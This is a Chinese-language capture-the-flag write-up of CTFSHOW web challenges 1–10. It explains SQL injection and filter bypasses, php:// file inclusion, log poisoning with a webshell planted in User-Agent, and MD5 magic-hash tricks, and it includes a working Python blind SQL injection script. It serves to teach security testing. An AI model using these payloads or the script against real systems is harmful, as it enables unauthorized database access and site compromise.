CTFSHOW web1-10

目录

我横竖睡不着,仔细看了半夜,才从代码里看出字来,满本都写着三个字是‘我好菜’!”

web1/web签到题:

web2

web3

 web4

web5

web6

 web7

web8

web9

web10


web1/web签到题:

没啥好说的,右键源代码出flag

web2

猜闭合方式,加上万能密码得到回显:

CTFSHOW web1-10

 接下来就是普通的union注入了。

CTFSHOW web1-10

web3

进入题目之后让我们以GET方式传参,但是传入url=flag.php发现并没有变化,此时考虑用伪协议。

CTFSHOW web1-10

抓包然后发送至repeater修改:CTFSHOW web1-10

 访问xxx/?url=ctf_go_go_go得到flag

 web4

CTFSHOW web1-10

乍一看和上一题一样,但是如果传入参数带有php的话会报错,这时我们可以进行日志注入(我也不知道怎么得到的,可能是其他师傅的字典强大吧)

CTFSHOW web1-10

然后直接在User-Agent插入一句话木马

 CTFSHOW web1-10

CTFSHOW web1-10

便得到了flag

web5

前面无关紧要,重点在中间那段php代码

<?php
        $flag="";
        $v1=$_GET['v1'];
        $v2=$_GET['v2'];
        if(isset($v1) && isset($v2)){
            if(!ctype_alpha($v1)){
                die("v1 error");
            }
            if(!is_numeric($v2)){
                die("v2 error");
            }
            if(md5($v1)==md5($v2)){
                echo $flag;
            }
        }else{
        
            echo "where is flag?";
        }
    ?>

意思是让我们get传递两个参数v1和v2,v1需要满足是字母,v2需要满足是数字,且两个参数md5加密之后的值得相同。

这里md5 0e绕过可以满足三个条件

百度一下之后得到满足三个条件的字符串:v1=QNKCDZO,v2=240610708

直接传参便得到了flag.

web6

这道题在web2的基础上过滤了空格,我们直接用/**/代替。

CTFSHOW web1-10

 后面步骤就都一样了。CTFSHOW web1-10

 web7

此题也是过滤空格的sql注入,注入点在id处,方法和上题一样,就不赘述了。

web8

不过这道题过滤了逗号,所以我们用盲注的方法来获取flag

脚本如下:

import requests

req = requests.Session()
url='http://8ad7e7ea-13ff-48d4-91ea-bf0aee246681.challenge.ctf.show:8080/index.php'
result=''
proxies={'http': '127.0.0.1:8080'}
header={
    "Cookie": "UM_distinctid=17a5c18592a2de-0cf2dd1aa448f88-4c3f2d73-144000-17a5c18592b515",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0",
    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
    "Origin": "http://8ad7e7ea-13ff-48d4-91ea-bf0aee246681.challenge.ctf.show:8080"
}
def baoshuju(url,proxies):
    result=''
    for i in range(0,150):
        for j in range(32,128):
            p="?id=-1/**/or/**/ascii(substr((select/**/flag/**/from/**/flag/**/limit/**/1/**/offset/**/0)from/**/%d/**/for/**/1))=%d#" %(i,j)
            response=requests.get(url+p,headers=header)
            content=response.text

            if "A Child's Dream of a Star" in content:
                result+=chr(j)
                print(result)
                break
baoshuju(url,proxies)

我用了limit 1 offset 0代替limit0,1;substr(str from [number1] for [number2])来代替substr(str,str1,str2)

CTFSHOW web1-10

最终得到flag。

web9

 乍一看跟前几道sql注入一样,但是不管怎么试都没有回显,抓包也没有发现,索性扫扫后台,发现robots.txt,进入之后给提示,存在/index.phps

下载之后发现里面是php代码

<?php
        $flag="";
		$password=$_POST['password'];
		if(strlen($password)>10){
			die("password error");
		}
		$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
					while($row=mysqli_fetch_assoc($result)){
						 echo "登陆成功<br>";
						 echo $flag;
					 }
			}
    ?>

由于小菜鸡太菜,这里这个md5验证我没见到过,看了看大佬的wp,发现当传入password=ffifdyop时,当这串字符串被转换成16进制的hex值以后,再转化回字符串后会包含' 'or ' 6'<trash>;   所以现在的sql语句就变成了

select * from user where username ='admin' and password ='"'or ' 6'<trash>"'

<trash>没用,6非0则为真,然后password又是or连接,所以判断为真,实现绕过,拿到flag。

CTFSHOW web1-10

web10

和上题一样,这道题也有一个index.phps    



<?php
		$flag="";
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if (!$con)
        {
            die('Could not connect: ' . mysqli_error());
        }
		if(strlen($username)!=strlen(replaceSpecialChar($username))){
			die("sql inject error");
		}
		if(strlen($password)!=strlen(replaceSpecialChar($password))){
			die("sql inject error");
		}
		$sql="select * from user where username = '$username'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
					while($row=mysqli_fetch_assoc($result)){
						if($password==$row['password']){
							echo "登陆成功<br>";
							echo $flag;
						}

					 }
			}
    ?>

由于

if(strlen($username)!=strlen(replaceSpecialChar($username))){
			die("sql inject error");

这个的存在,不能双写绕过。

但是这里有个骚操作,我们发现没有过滤group by和with rollup函数,而group by将列以逻辑排序之后,后面如果有with rollup的话,这个列的最后会多出一个空的数据,所以我们就可以绕过了

CTFSHOW web1-10

 

上一篇:ctfshow-web5


下一篇:CTFSHOW-web(7/11)